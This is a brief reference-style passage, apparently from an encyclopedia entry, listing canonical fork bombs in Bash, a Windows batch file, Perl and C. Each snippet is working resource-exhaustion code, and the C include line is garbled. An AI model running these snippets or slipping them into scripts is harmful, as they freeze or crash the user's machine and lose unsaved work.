Canonical forkbombs include this one on Unix (using the Bash shell) :
ragner(){ ragner|ragner& };ragner
Or in Microsoft Windows using a batch file:
:s
start %0
goto s
Or using Perl:
(forking using the Perl interpreter):
perl -e "fork while fork" &
Or in C:
#include
int main(void)
{
while(1) {
fork();
}
return 0;
}
Referencehttp://www.answers.com/topic/fork-bomb